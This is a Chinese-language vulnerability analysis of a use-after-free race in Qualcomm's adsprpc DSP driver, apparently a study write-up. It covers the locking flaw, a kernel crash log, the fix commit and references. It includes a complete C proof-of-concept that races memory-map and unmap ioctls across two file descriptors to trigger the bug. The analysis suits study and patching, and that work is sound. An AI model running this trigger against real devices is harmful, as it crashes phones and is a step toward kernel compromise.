qualcomm-dsp-driver: adsprpc
在 fastrpc_mmap_create(及其收尾函数)中全局映射的 UAF(Use After Free) 竞争条件
1 前置知识
互斥锁
“互斥锁”(Mutual Exclusion Lock,简称 Mutex)是一种常见的同步原语,用于在线程或进程并发访问共享资源(例如全局变量、临界区代码)时,确保同一时刻只有一个执行流(线程/进程)能够进入临界区,从而避免并发读写导致的数据不一致或竞争条件问题。
在操作系统或多线程编程中,互斥锁一般表现为一个对象(如 pthread_mutex_t),需要在线程进入临界区前获取(lock),退出临界区后释放(unlock)。如果有其他线程也试图获取同一个互斥锁,则会被阻塞,直到持锁的线程释放该锁为止。
1. 临界区与排他性
-
设定临界区:
在并发环境下,多个线程或进程共享一段可能出现读写冲突的代码或数据——这段需要加以保护的区域就称之为“临界区”。例如,操作共享变量、链表、文件或硬件资源等都可能属于临界区。 -
排他性:
互斥锁的核心目标是“排他性”,即任意时刻只允许一个线程进入临界区,从而避免多个线程同时修改共享资源时引发的竞态条件(race condition)。
2. 互斥锁的基本操作
-
初始化(Initialize):
在使用锁之前,需要先对互斥锁进行初始化。不同操作系统或线程库(如 pthread、Windows API 等)会提供不同的初始化方式。 -
获取(Lock / Acquire):
当一个线程准备进入临界区时,会尝试获取互斥锁。如果锁尚未被其他线程持有,则本线程立即获取成功;如果锁已被其他线程持有,则本线程将被阻塞,直到锁被释放。 -
释放(Unlock / Release):
当持锁线程执行完临界区代码后,会调用相应的解锁函数将锁释放,其他等待的线程才有机会获取该锁继续执行。 -
销毁(Destroy):
在互斥锁不再需要使用时,可以销毁该锁,以回收相关资源。
fastrpc_mmap
adsprpc 驱动程序通过 fastrpc_mmap
结构体维护 DMA 缓冲区和协处理器映射的关系。这些结构体在 fastrpc_mmap_create
中分配和初始化,并包含几个相当复杂的特性。
- 存储位置的多样性: 根据创建时使用的标志,
fastrpc_mmap
对象既可以位于与 struct file 关联的 fl(本地)链表,也可以位于全局链表中。 - 两个引用计数且被多处引用: 有两个独立的引用计数
refs
和ctx_refs
,并且可能同时从多个地方被引用。- 上下文(用于跟踪与单个 RPC 调用相关数据的对象)
- 全局或本地映射链表
- 在创建或销毁时使用的临时基于栈的引用。
- 当使用能够匹配现有映射的一组参数来调用 fastrpc_mmap_create 时,就会对已有映射执行引用操作。
- 创建和销毁路径的多样:
fastrpc_mmap
对象可以通过多条不同的代码路径来创建- 创建
- 在初始化上下文时,通过访问两个专门的 ioctl 处理函数时
- 在 DSP 初始化和进程创建期间
- 由 DSP 自身发起请求来创建
- 销毁
- 同样可以通过相应的反向代码路径来释放
- 在上下文或 struct file 被拆除(teardown)时
- 通过三个不同的专用 unmapping ioctl 来释放
- 同样可以通过相应的反向代码路径来释放
- 创建
2 漏洞
为了理解这个洞,必须先充分了解在保护这些映射链表避免竞争条件时使用的锁机制:
int fastrpc_internal_mem_map(struct fastrpc_file *fl,
struct fastrpc_ioctl_mem_map *ud)
{
int err = 0;
struct fastrpc_mmap *map = NULL;
mutex_lock(&fl->internal_map_mutex); // 互斥锁1
...
mutex_lock(&fl->map_mutex); // 互斥锁2
VERIFY(err, !(err = fastrpc_mmap_create(fl, ud->m.fd, NULL, ud->m.attrs,
ud->m.vaddrin, ud->m.length,
ud->m.flags, &map)));
mutex_unlock(&fl->map_mutex);
if (err)
goto bail;
...
//[1] map 可能已经全局可见
VERIFY(err, !(err = fastrpc_mem_map_to_dsp(fl, ud->m.fd, ud->m.offset,
ud->m.flags, map->va, map->phys, map->size, &map->raddr)));
if (err)
goto bail;
ud->m.vaddrout = map->raddr;
bail:
if (err) {
if (map) {
mutex_lock(&fl->map_mutex);
fastrpc_mmap_free(map, 0);
mutex_unlock(&fl->map_mutex);
}
}
mutex_unlock(&fl->internal_map_mutex);
return err;
}
上面是fastrpc_internal_mem_map
函数的片段,这里持有两个互斥锁:fl->internal_map_mutex
和 fl->map_mutex
,其中前者在函数整个生命周期最外层加锁(包括在错误退出时)。
在这个 fastrpc 驱动中,每个文件描述符 (struct file) 对应着一个 fastrpc_file 结构体 (简称 fl)。其中 fl->internal_map_mutex 和 fl->map_mutex 这两把互斥锁都“绑定”在特定的 fl(即特定的 struct file)上,用于防止对“同一个”文件描述符上的并发操作。也就是说:
- fl->internal_map_mutex 保护与 fl 相关的内部数据结构(如 internal_map)。
- fl->map_mutex 保护与 fl 相关的 map 链表 (fl->maps) 等。
简单来说,这两个互斥锁都绑定在同一个 struct file(文件描述符)上,因此可以防止对同一个文件描述符并发地调用多次 fastrpc_internal_mem_map
。但它并不能防止其他 struct file(比如通过另外一个打开的 adsprpc-smd 文件描述符)同时调用相同 ioctl 时的竞争。
为什么这两个互斥锁不能防止其他 struct file 同时调用相同 ioctl 时的竞争?
A: 这两个互斥锁都属于同一个 fastrpc_file,因此它们只能防止“同一个文件描述符”上下文中的并发操作。如果用户通过“两个或多个不同的 struct file(不同文件描述符)”来调用同一个 ioctl,实际上它们拿到的是“不同的” fastrpc_file 结构体实例,因而也就拥有不同的 fl->internal_map_mutex 和 fl->map_mutex 对象。这意味着:
- A 进程打开了 adsprpc 设置为文件描述符 fd1,对应 fl1;
- B 进程或另一个线程也打开了同样的驱动获取文件描述符 fd2,对应 fl2;
- fl1 和 fl2 是两个彼此独立的 fastrpc_file 结构,在 fl1 上的互斥锁和 fl2 上的互斥锁并不相同。
此时,如果 A 和 B 分别在 fl1 和 fl2 上调用相同的 ioctl,A 持锁的行为不会对 B 产生阻塞效果,因为 B 的操作使用的是另外一把与 fl2 关联的互斥锁。这样在全局层面上,保护就失效了——只能在同一个文件描述符内部起到互斥效果,但不能跨不同文件描述符进行同步。
虽然这些 ioctl 经常用来管理 fl
上的本地映射,但 fastrpc_mmap_create
和 fastrpc_internal_mem_map
也可能创建全局映射。对于那些被添加到全局数据结构的全局映射来说,全局层面上的互斥锁只会在调用栈 fastrpc_internal_mem_map -> fastrpc_mmap_create -> fastrpc_mmap_add
中进行短暂地加锁,而非整个操作过程都保持。
static void fastrpc_mmap_add(struct fastrpc_mmap *map)
{
if (map->flags == ADSP_MMAP_HEAP_ADDR ||
map->flags == ADSP_MMAP_REMOTE_HEAP_ADDR) {
struct fastrpc_apps *me = &gfa; //gfa 是一个全局结构
unsigned long irq_flags = 0;
spin_lock_irqsave(&me->hlock, irq_flags); //在这里获取全局锁
hlist_add_head(&map->hn, &me->maps);
spin_unlock_irqrestore(&me->hlock, irq_flags); //在这里释放全局锁
} else {
struct fastrpc_file *fl = map->fl;
hlist_add_head(&map->hn, &fl->maps);
}
}
这意味着即使在创建全局映射时,当前的全局互斥方式也不足以阻止两个并发的 fastrpc 映射 ioctl 调用。严格来说,这本身还不算一个漏洞,但在将一个全局映射插入全局链表之后,fastrpc_internal_mem_map
仍然继续访问该映射,而逻辑上这一引用其实已经“被消耗”掉了。
为什么逻辑上这一引用其实已经“被消耗”掉了?
引用计数与所有权转移
在内核中,管理对象最常见的办法就是使用“引用计数(refcount)”来追踪对象是否仍在使用中,以及由谁来保障它的生命期。
• 当某个代码路径需要长期访问某对象时,会增加(get)该对象的引用计数。
• 当不再需要使用该对象时,则减少(put)该对象的引用计数,引用计数归零就可释放。
在“本地 → 全局”这类跨域移交中,往往意味着“在本地很快就不再独占这个对象”,而将它放入到一个全局可见的结构(例如全局链表)里时,就等于将“所有权”移交出去,此时其他线程/进程可能随时访问或释放这个对象。从逻辑上讲,原本的本地持有者如果没有额外增加引用计数和保持必要的全局同步,就应该“放弃”对该对象的独占使用。为什么说“引用被消耗”?
在 fastrpc 驱动的这个场景中,函数通过 fastrpc_mmap_add 将 map 对象添加到全局链表 (me->maps),意味着:
• map 现在对于其他打开了同一驱动的文件描述符也是可见的;
• 其他线程可能随时以新的方式增加对 map 的引用,或者主动通过某个 ioctl 将其移除并释放。
也就是说,一旦 map 被插入全局结构,原来“local context”中的那一份引用不能再被假定为安全持有,因为对象的生命周期不再由当前调用路径独占控制。相比之下,如果代码在插入全局链表后仍然使用 map,但却没有获取全局层面的锁或保持对 map 的额外引用,那么其他线程就有机会在它访问 map 的过程中将 map 销毁,从而触发 Use After Free。因此,从“引用语义”出发,一旦你把这个对象交给了全局链表管理,就等同于你把“管理权”或“所有权”交给了一个更宽的范围——本地的那份引用“被消耗”意味着:
• 你不能对这个对象的释放时机再作任何假设;
• 你必须通过“新的引用(refcount)”或“全局锁”等机制来确保自己仍然合法地访问这个对象。总的来说,“逻辑上被消耗”指的是,一个本地引用在将对象挂接进全局可见结构(并且没有持有额外引用计数或全局锁)的那一刻,就不再具备“可随意访问此对象”的安全性。因为对象生命周期与使用权已经转移到新的管理范围(全局结构)。如果还想继续在当前路径使用对象,就需要在插入全局链表时或之后,显式地增加它的引用(比如一次 refcount++),并使用恰当的同步手段(全局锁或原子操作)来保证使用期间的安全性,否则就会出现竞态条件,导致 Use After Free 等安全漏洞。
更关键的是,如果一个映射被创建且添加到全局链表后,它立刻对其他并发调用可见——例如另一线程通过不同的 adsprpc fd / fl struct 调用 fastrpc_internal_munmap
可能会销毁这个全局映射,但 fastrpc_internal_mem_map
却还在继续用它(见上面代码注释处 [1])。这是一个“在引用被传递到一个用户态可任意释放对象之后,依然继续使用该引用”的典型例子。
类似的情形还包括,在你将一个 struct file 对象的唯一引用安装到文件描述符表(通过 fd_install
)之后,用户态可以通过 close(2)
来释放该引用,而内核如果继续使用就会产生 Use After Free 的问题。如果不理解,可以看看Blackhat-usa-2022-Devils Are in the File Descriptors: It Is Time To Catch Them All

PAGE_POISON:
PAGE_POISON 是一种内核调试技术,它会在释放内存后用特殊的值填充内存页,以便在代码尝试访问已释放的内存时更容易地检测到 UAF 错误。文中提到触发此 bug 会导致内核崩溃,并显示 PAGE_POISON 信息,这进一步证实了 UAF 错误的存在。
触发此错误会在启用 PAGE_POISON
的情况下生成以下内核崩溃:
[ 2890.558370] [0: poc:22189] Unable to handle kernel paging request at virtual address 006b6b6b6b6b6b83
[ 2890.558411] [0: poc:22189] PC Code: 95ca6fb3 aa1703e0 2a1f03e1 97ffdbcc 2a1f03f6 14000008 f9400ae8 (f8418d09) f90002e9 b4000049 f9000537 f9000117 f90006e8 aa1403e0 95ca66a2 aa1303e0 95ca66a0 d5384108 f942f108 f94007e9
[ 2890.558618] [0: poc:22189] LR Code: 94000075 2a0003f6 aa1403e0 95ca66ed f94003f7 340006f6 b4000937 aa1403e0 95ca6feb (b94026e8) 7100211f 54000060 7100111f 54000721 b00000f8 91038318 91008315 aa1503e0 95ca97d3 f9400308
[ 2890.558633] [0: poc:22189] Mem abort info:
[ 2890.558641] [0: poc:22189] ESR = 0x96000004
[ 2890.558650] [0: poc:22189] EC = 0x25: DABT (current EL), IL = 32 bits
[ 2890.558661] [0: poc:22189] SET = 0, FnV = 0
[ 2890.558670] [0: poc:22189] EA = 0, S1PTW = 0
[ 2890.558678] [0: poc:22189] FSC = 0x04: level 0 translation fault
[ 2890.558688] [0: poc:22189] Data abort info:
[ 2890.558696] [0: poc:22189] ISV = 0, ISS = 0x00000004
[ 2890.558704] [0: poc:22189] CM = 0, WnR = 0
[ 2890.558713] [0: poc:22189] [006b6b6b6b6b6b83] address between user and kernel address ranges
[ 2890.558727] [0: poc:22189] Internal error: Oops: 96000004 [#1] PREEMPT SMP
[ 2890.559162] [0: poc:22189] sec_arm64_ap_context:sec_arm64_ap_context_on_die() context saved (CPU:0)
...
[ 2890.560996] [0: poc:22189] CPU: 0 PID: 22189 Comm: poc Tainted: G S W OE 5.15.123-android13-8-28577312-abS911BXXU3CXD3 #1
[ 2890.561007] [0: poc:22189] Hardware name: Samsung DM1Q PROJECT (board-id,13) (DT)
[ 2890.561014] [0: poc:22189] pstate: 22400005 (nzCv daif +PAN -UAO +TCO -DIT -SSBS BTYPE=--)
[ 2890.561024] [0: poc:22189] pc : fastrpc_internal_munmap+0x1ac/0x264 [frpc_adsprpc]
[ 2890.561202] [0: poc:22189] lr : fastrpc_internal_munmap+0xb4/0x264 [frpc_adsprpc]
[ 2890.561376] [0: poc:22189] sp : ffffffc025ee3cc0
[ 2890.561382] [0: poc:22189] x29: ffffffc025ee3cd0 x28: ffffff88bf4fbb80 x27: 0000000000000000
[ 2890.561397] [0: poc:22189] x26: 0000000000000000 x25: 0000000000000000 x24: ffffff8922ae4301
[ 2890.561411] [0: poc:22189] x23: ffffff803bb30900 x22: 0000000080000448 x21: ffffff8928fb5800
[ 2890.561424] [0: poc:22189] x20: ffffff8928fb5910 x19: ffffff8928fb5940 x18: ffffffc00b492010
[ 2890.561437] [0: poc:22189] x17: 00000000000003e7 x16: 0000000000007e00 x15: 0000000000000600
[ 2890.561450] [0: poc:22189] x14: ffffff891cc57e00 x13: dee89d8ccc1e57a7 x12: 088000400811164c
[ 2890.561463] [0: poc:22189] x11: ffffff891cc51a00 x10: ffffff88bf4fbb80 x9 : 0000000000000000
[ 2890.561476] [0: poc:22189] x8 : 6b6b6b6b6b6b6b6b x7 : bbbbbbbbbbbbbbbb x6 : 00000000000000c0
[ 2890.561489] [0: poc:22189] x5 : 0000000000150009 x4 : ffffff891cc57400 x3 : 000000000015000a
[ 2890.561502] [0: poc:22189] x2 : ffffff88bf4fbb80 x1 : 0000000000000000 x0 : 0000000000000000
[ 2890.561516] [0: poc:22189] Call trace:
[ 2890.561523] [0: poc:22189] fastrpc_internal_munmap+0x1ac/0x264 [frpc_adsprpc]
[ 2890.561696] [0: poc:22189] fastrpc_device_ioctl+0x7e8/0x92c [frpc_adsprpc]
[ 2890.561867] [0: poc:22189] __arm64_sys_ioctl+0x120/0x170
[ 2890.561886] [0: poc:22189] invoke_syscall+0x58/0x13c
[ 2890.561899] [0: poc:22189] el0_svc_common+0xb4/0xf0
[ 2890.561908] [0: poc:22189] do_el0_svc+0x24/0x90
[ 2890.561917] [0: poc:22189] el0_svc+0x20/0x7c
[ 2890.561929] [0: poc:22189] el0t_64_sync_handler+0x84/0xe4
[ 2890.561937] [0: poc:22189] el0t_64_sync+0x1b8/0x1bc
[ 2890.561951] [0: poc:22189] Code: 97ffdbcc 2a1f03f6 14000008 f9400ae8 (f8418d09)
[ 2890.561967] [0: poc:22189] ---[ end trace af6bd4fc06724258 ]---
[ 2890.561978] [0: poc:22189] Kernel panic - not syncing: Oops: Fatal exception
3 PoC
主线程 (main) 不断执行 FASTRPC_IOCTL_MEM_MAP
,将内存映射到 DSP。
• 另一个线程 (thread 函数) 不断执行 FASTRPC_IOCTL_MUNMAP
,将这些映射给解除。
• 每次循环都通过 pthread_barrier_wait
同步,以确保两个线程几乎同时对同一全局资源发起操作。
• 另外,使用 fork()
创建一个子进程,也会带来额外的并发复杂性。
一旦 adsprpc 驱动中在全局映射(global map)或其他数据结构的管理上,有缺陷(例如没有正确的加锁或引用计数),就可能导致 Use After Free、越界访问等问题。PoC 的大量循环调用是想快速、频繁地击中竞争窗口,从而更容易重现漏洞。
main函数中
pthread_barrier_t barrier
被初始化为 2,因此主线程和辅助线程轮流执行,只有两方都到达pthread_barrier_wait
之后才一起放行进入下一轮循环。
• 这样做能使 mem_map 和 munmap 操作更容易在时间上“对撞”,从而增加竞态出现机率。
• 如果没有这个同步屏障,不同线程可能以不规则的时间先后运行,概率性更分散;有了屏障,几乎每一次 mem_map 都紧跟一次 munmap,实现高频竞争。
#include "adsprpc_shared.h"
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/wait.h>
#include <linux/dma-heap.h>
#include <sys/mman.h>
#include <errno.h>
#include <pthread.h>
#define FASTRPC_MODE_UNSIGNED_MODULE 8
bool guess(int adsprpc_fd,unsigned long addr) {
}
/**
对 DSP 初始化:
创造了一个可执行 shell_file_dma,并且将其“上传”到 DSP(通过 FASTRPC_IOCTL_INIT_ATTRS)。
后续对 dsp 进行 mem_map/unmap 操作需要在此基础上进行。
将一个 unsigned module 加载到 DSP,有时可以用来执行用户自定义的 DSP 代码(若驱动允许“unsigned module”这样的模式),
从而在更低层访问 DMA 缓冲或 trigger bug。
**/
int create_and_init_adsprpc()
{
// 【1.1】打开 /dev/adsprpc-smd 设备文件
int adsprpc_fd = open("/dev/adsprpc-smd",O_RDONLY);
if(adsprpc_fd == -1) {
printf("open: %m\n");
return -1;
}
// 【1.2】通过 FASTRPC_IOCTL_GETINFO 获取一些信息(cid = 3)
unsigned cid = 3;
long ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_GETINFO,&cid);
// 【1.3】打开 /data/local/tmp/fastrpc_shell_unsigned_3(示例 shell 文件)
int shell_fd = open("/data/local/tmp/fastrpc_shell_unsigned_3",O_RDONLY);
if(shell_fd == -1) {
printf("open shell: %m\n");
return -1;
}
// 【1.4】打开 /dev/dma_heap/system(DMA 堆),
int dma_heap = open("/dev/dma_heap/system",O_RDONLY);
if(dma_heap == -1) {
printf("open dma_heap: %m\n");
return -1;
}
// 【1.5】并分配一段dma堆内存(长度 0x131000)
struct dma_heap_allocation_data heap_data = {
.len = 0x131000,
.fd_flags = O_RDWR,
};
ret = ioctl(dma_heap,DMA_HEAP_IOCTL_ALLOC,&heap_data);
if( ret < 0 || heap_data.fd < 0)
{
printf("dma heap allocation fail: %d %d %m\n",ret,heap_data.fd);
return -1;
}
void* shell_file_dma = mmap(NULL,0x131000,PROT_READ | PROT_WRITE, MAP_SHARED,heap_data.fd,0);
// 【1.6】读取外部 shell 文件内容到分配的 DMA 缓冲区中
long length = read(shell_fd,shell_file_dma,0x131000);
if(length <= 0) {
printf("read: %d %m\n",ret);
return -1;
}
// 【1.7】调用 FASTRPC_IOCTL_INIT_ATTRS,将文件映射信息发送给 DSP,使用的是 FASTRPC_MODE_UNSIGNED_MODULE 模式
struct fastrpc_ioctl_init_attrs init = {
.init = {
.file = shell_file_dma,
.filefd = heap_data.fd,
.filelen = length,
.mem = 0,
.flags = FASTRPC_INIT_CREATE,
},
.attrs = FASTRPC_MODE_UNSIGNED_MODULE
};
ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_INIT_ATTRS,&init);
if(ret < 0)
{
printf("init_attrs: %d %m\n",ret);
return -1;
}
// 如果一切正常,返回 adsprpc_fd(文件描述符),用于后续对 adsprpc 的操作
return adsprpc_fd;
}
pthread_barrier_t barrier;
void* thread(void* arg) {
// 【2.1】又调用 create_and_init_adsprpc() 打开另一个 adsprpc_fd2
int adsprpc_fd2 = create_and_init_adsprpc();
if(adsprpc_fd2 == -1) {
printf("failed to open adsprpc...\n");
exit(1);
}
//【2.2】调用 FASTRPC_IOCTL_MUNMAP,在线程B不断拆除(unmap)已经映射的内存
while(1) {
pthread_barrier_wait(&barrier);
struct fastrpc_ioctl_munmap ud = {
.size = 0x1000,
.vaddrout = 0
};
unsigned long ret = ioctl(adsprpc_fd2,FASTRPC_IOCTL_MUNMAP,&ud);
printf("munmap: %lu\n",ret);
}
}
int main() {
// 【1】首先调用 create_and_init_adsprpc(),得到 adsprpc_fd
int adsprpc_fd = create_and_init_adsprpc();
// 调用 fork(),父进程退出,留子进程来执行后续操作(为了隔离或简化测试环境?)
if(fork()) exit(0);
// 后面都是子进程
// 【2】创建一个额外线程B (pthread_create),该线程对应 thread() 函数
pthread_t tid;
pthread_barrier_init(&barrier,NULL,2);
pthread_create(&tid,NULL,&thread,NULL);
if(adsprpc_fd == -1) {
printf("failed to open adsprpc...\n");
return 1;
}
// 【3】主线程A自己不断执行
while(1) {
pthread_barrier_wait(&barrier); // 等待线程同步
struct fastrpc_ioctl_mem_map mmap_struct = {
.m = {
.flags = ADSP_MMAP_REMOTE_HEAP_ADDR, // 会将这段内存视为“远端堆地址”,并可能放到一个全局映射列表中
.fd = -1,
.length = 0x1000,
.attrs = 0,
.vaddrin = 0,
.offset = 0,
}
};
// 不断调用 FASTRPC_IOCTL_MEM_MAP
unsigned long ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MEM_MAP,&mmap_struct);
printf("mem_map: %lu\n",ret);
}
// struct fastrpc_ioctl_mmap mmap_struct2 = {
// .fd = -1,
// .flags = ADSP_MMAP_HEAP_ADDR,
// .vaddrin = 0,
// .size = 0x1000
// };
// ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MMAP,&mmap_struct2);
// if(ret < 0)
// {
// printf("ret mmap: %lx %m\n",ret);
// }
// printf("vaddrout: %lx %m\n",mmap_struct2.vaddrout);
}
4 patch
https://git.codelinaro.org/clo/la/kernel/msm-5.4/-/commit/4056f87e3b347e0283234f56b9e9aaea681d1644
问题现象是:
“remote heap maps” 在 fastrpc_internal_mmap 函数实际完成映射操作之前,就已经被插入到全局链表 (global list) 中。还是如代码里的注释[1]。这样一来,当 map 被全局链表可见之后,其他线程或进程就可以通过 fastrpc_internal_munmap 函数拿到该 map 并开始 unmmap 或 free 操作。如果 unmmap/free 动作发生在 fastrpc_internal_mmap 完成之前,就会出现用后即释 (Use After Free, UAF)
• 简单来说:
- 线程 A: fastrpc_internal_mmap → 分配map → 插入全局链表 → (尚未完成,继续map的其他操作)
- 线程 B: fastrpc_internal_munmap 查找到这个 map,开始释放 → 释放完成
- 线程 A 继续操作 map 时,就会访问到已被释放或复用的内存。
那么这个patch的思路是:“延后”插入全局链表的时机,即:
• 先在 fastrpc_internal_mmap 函数中完成所有必要的初始化,包括与 DSP 侧建立映射、设置地址信息、分配资源等。
• 等确认这个映射已经“可安全使用”或“完全就绪”之后,才将 map 添加到全局 maps 链表里。
这样就能避免在 map 尚未完成初始化时,被其他线程“过早”看到并 free 掉。此时,只有当 fastrpc_internal_mmap 函数的所有操作都结束后,map 才会对外可见。
其他线程要想 unmap 时,能保证 map 处于一个“初始化完成、引用计数正确”的状态。由于 map 已经完全初始化,其他任何对 map 的 unmap 行为都能正确地走引用计数或锁定流程,再加上全局链表访问受相应的锁/同步机制保护,就能有效避免UAF。
在代码上的体现为:
- 解耦global和local的map add
2. create函数里只保留add到local list的逻辑
3. fastrpc_internal_mem_map
中,add 到 global list的动作放在函数结尾。

其他函数的细节就不贴了,都差不多的意思。
其他操作不会并发导致uaf?
我理解如果有这样一种场景,也可能uaf,但是还没看过代码
- 线程 A: 某接口,查找某个map → (尚未完成)
- 线程 B: fastrpc_internal_munmap 查找到这个 map,开始释放 → 释放完成
- 线程 A 继续操作 map 时,就会访问到已被释放或复用的内存。
5 总结
漏洞模式:在引用被传递到一个用户态可任意释放对象之后,依然继续使用该引用。类似上面说到的file uaf。
- 这个漏洞里为什么用户态可任意释放对象?
- 那两个互斥锁只能锁相同fd的ioctl并发,并没有锁住不同fd的ioctl并发。
6 参考文献
- https://googleprojectzero.blogspot.com/2024/12/qualcomm-dsp-driver-unexpectedly-excavating-exploit.html
- https://project-zero.issues.chromium.org/issues/42451715
- https://git.codelinaro.org/clo/la/kernel/msm-5.4/-/commit/4056f87e3b347e0283234f56b9e9aaea681d1644